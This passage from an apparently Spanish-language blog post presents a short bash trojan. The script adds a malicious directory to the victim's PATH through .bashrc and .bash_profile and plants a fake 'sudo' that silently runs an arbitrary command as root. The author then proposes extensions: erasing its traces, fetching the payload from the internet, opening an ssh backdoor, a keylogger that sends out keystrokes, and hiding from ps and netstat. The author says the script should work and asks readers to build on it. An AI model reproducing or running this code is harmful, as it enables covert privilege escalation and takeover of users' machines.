También lo hago para que quede muy corto y fácil de leer, no quiero explayarme mucho aquí. Posiblemente haga una versión larga que se limpie a sí mismo y que infecte el sistema de forma oculta y permanente. Si lo hago lo enlazaré aquí.

Vamos al código:

#!/bin/bash

# Si el usuario tiene bashrc o bash_profile le añadimos nuestro path.
# No todo el mundo usa bash, así que habría que comprobar eso
# o utilizar .profile u otras opciones. Recuerdo: estamos jugando.
if [ -f ~/.bashrc ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bashrc
fi

if [ -f ~/.bash_profile ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bash_profile
fi

# Creamos el directorio maldito donde se alojará nuestro escalador de
# privilegios. Tiene que ser un lugar donde el usuario tenga acceso.
mkdir -p /path/al/directorio/maldito

# Volcamos el escalador de privilegios al directorio maldito, la orden
# 'maataar' puede ser lo que nosotros queramos hacer con el usuario. Más abajo
# cuento opciones.
cat > /path/al/directorio/maldito/sudo <<EOF
#!/bin/bash
/usr/bin/sudo -b maataaar >/dev/null 2>&1
/usr/bin/sudo $@
EOF

# Damos permisos de ejecución al comando maldito
chmod 777 /path/al/directorio/maldito/sudo

# Falta la funcionalidad que oculte que esto es un programa estrictamente
# malicioso.

El código que muestro es la versión extremadamente corta. Se pueden hacer muchas cosas. Vamos a contar algunas.

Se podría hacer que el script del troyano automáticamente se sobreescribiera y limpiase las cosas maliciosas que tiene porque su labor ya estaría hecha.

Lo mismo con el sudo, una vez habiendo escalado los privilegios podría pisar el comando sudo de verdad y borrar todo el rastro eliminando las líneas de .bashrc y el comando sudo falso con su directorio.

Sería factible también que, en lugar de estar embebido en el troyano, el código fuente del falso sudo se descargase de algún lugar en Internet, y con él se podría coger también algún otro programa agresivo para ejecutar en lugar de maataar.

Después del escalado de privilegios por ejemplo, podríamos levantar un servidor ssh para poder conectarnos al equipo desde el exterior, o un keylogger que nos envíe lo que el usuario teclea. Esto sería muy fácil de detectar si la víctima ejecutase ps o netstat, pero… ¿Si hemos pisado sudo, cómo no vamos a poder pisar eso?

Son opciones locas que se me ocurren pensando poco. Seguro que a vosotros se os ocurren más.

Dadle un par de vueltas y me contáis, que para eso está la sección de comentarios.

No prometo que el script funcione, tampoco es esa su intención. La idea es que sirva de pseudocódigo para que nos entendamos. De todas formas, debería funcionar.

Nada, ésta es un poco la historia. Espero que os haya molado. Como veis, he dejado muchas cosas abiertas para que investiguéis, así que ya sabéis. 😉

Un abrazo.